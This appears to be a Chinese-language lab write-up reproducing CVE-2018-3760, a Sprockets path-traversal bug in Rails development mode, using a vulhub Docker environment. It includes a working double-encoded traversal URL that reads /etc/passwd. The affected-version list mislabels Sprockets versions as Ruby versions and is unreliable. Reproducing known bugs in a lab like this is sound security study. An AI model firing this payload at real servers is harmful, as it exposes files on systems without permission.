声明
好好学习,天天向上
漏洞描述
Ruby On Rails在开发环境下使用Sprockets作为静态文件服务器,Ruby On Rails是著名Ruby Web开发框架,Sprockets是编译及分发静态资源文件的Ruby库。
Sprockets 3.7.1及之前版本中,存在一处因为二次解码导致的路径穿越漏洞,攻击者可以利用%252e%252e/来跨越到根目录,读取或执行目标服务器上任意文件。
影响范围
ruby4.0.0.beta7及更低版本
ruby3.7.1及更低版本
ruby2.12.4及更低版本
复现过程
这里使用2.5.1版本
使用vulhub
cd /app/vulhub-master/rails/CVE-2018-3760
使用docker启动
docker-compose build
docker-compose up -d
环境启动后,访问http://your-ip:3000
http://192.168.239.129:3000
访问
http://192.168.239.129:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
关闭镜像(每次用完后关闭)
docker-compose down
docker-compose常用命令
拉镜像(进入到vulhub某个具体目录后)
docker-compose build
docker-compose up -d
镜像查询(查到的第一列就是ID值)
docker ps -a
进入指定镜像里面(根据上一条查出的ID进入)
docker exec -it ID /bin/bash
关闭镜像(每次用完后关闭)
docker-compose down